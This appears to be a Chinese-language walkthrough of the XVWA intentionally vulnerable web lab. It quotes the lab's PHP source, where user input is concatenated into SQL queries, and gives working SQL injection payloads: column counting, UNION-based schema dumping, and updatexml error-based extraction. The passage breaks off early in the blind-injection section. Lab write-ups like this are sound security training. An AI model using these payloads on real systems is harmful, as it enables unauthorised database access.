文章目录
- 靶场介绍
- 靶场安装
- SQL injection
- SQL Injection – Blind
- OS Command Injection
- XPATH Injection
- CSV Formula Injection
- PHP Object Injection
- Unrestricted File Upload
- Cross Site Scripting (XSS) – Reflected
- Cross Site Scripting (XSS) – Stored
- Cross Site Scripting (XSS) – DOM
- Server Side Request Forgery (SSRF/XSPA)
- File Inclusion
- Session Flaws
- Insecure Direct Object Reference
- Missing Functional Level Access Control
- Cross Site Request Forgery (CSRF)
- Cryptography
- Unvalidated Redirects and Forwards
- Server Side Template Injection (SSTI)
靶场介绍
XVWA 是一个用 PHP/MySQL 编写的编码错误的 Web 应用程序,可帮助安全爱好者学习应用程序安全性。不建议在线托管此应用程序,因为它被设计为“极其脆弱”。我们建议在本地/受控环境中托管此应用程序,并使用您自己选择的任何工具提高您的应用程序安全忍者技能。打破或侵入这个是完全合法的。这个想法是以最简单和基本的方式向社区宣传 Web 应用程序的安全性。出于良好的目的学习和获得这些技能。您如何使用这些技能和知识库不是我们的责任。
靶场安装
SQL injection
源码
$item = isset($_POST['item']) ? $_POST['item'] : '';
$search = isset($_POST['search']) ? $_POST['search'] : '';
$isSearch = false;
if(($item!="") && $search!=""){
echo "<br><ul class="featureList">";
echo "<li class="cross">Error! Can not use both search and itemcode option. Search using either of these optoins.</li>";
echo "</ul>";
}else if($item){
$sql = "select * from caffaine where itemid = ".$item;
$result = $conn->query($sql);
$isSearch = true;
}else if($search){
$sql = "SELECT * FROM caffaine WHERE itemname LIKE '%" . $search . "%' OR itemdesc LIKE '%" . $search . "%' OR categ LIKE '%" . $search . "%'";
$result = $conn->query($sql);
$isSearch = true;
}
可以看出item是数字型,search是like '% %'的模糊查询
1. 从item从手
随便选一个数提交,看出有结果回显,推测可以使用联合查询注入
判断当前表有多少个字段
1 order by 8报错
尝试order by 7
没报错所以有7个字段
构造联合查询语句
-1 union select 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata
最终显示所有数据库
2. 从search入手
输入只要闭合前后两个引号
aa’ union select 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata #
也可以使用报错注入,相对于联合查询注入更为快捷
查看前32个字符
’ or updatexml(1,concat(0x7e,( select group_concat(schema_name) from information_schema.schemata)),0x7e) or ’
查看从第32字符开始的后32个字符
’ or updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata),32,32)),0x7e) or ’
SQL Injection – Blind
输入错误信息,不回显错误描述信息,这时就可以使用布尔类型注入,因为在dvwa靶场那已经讲解的够详细了,在这里不再赘述
从item入手,and前面的条件为真,后面为假
没有内容输出
item条件两个都为真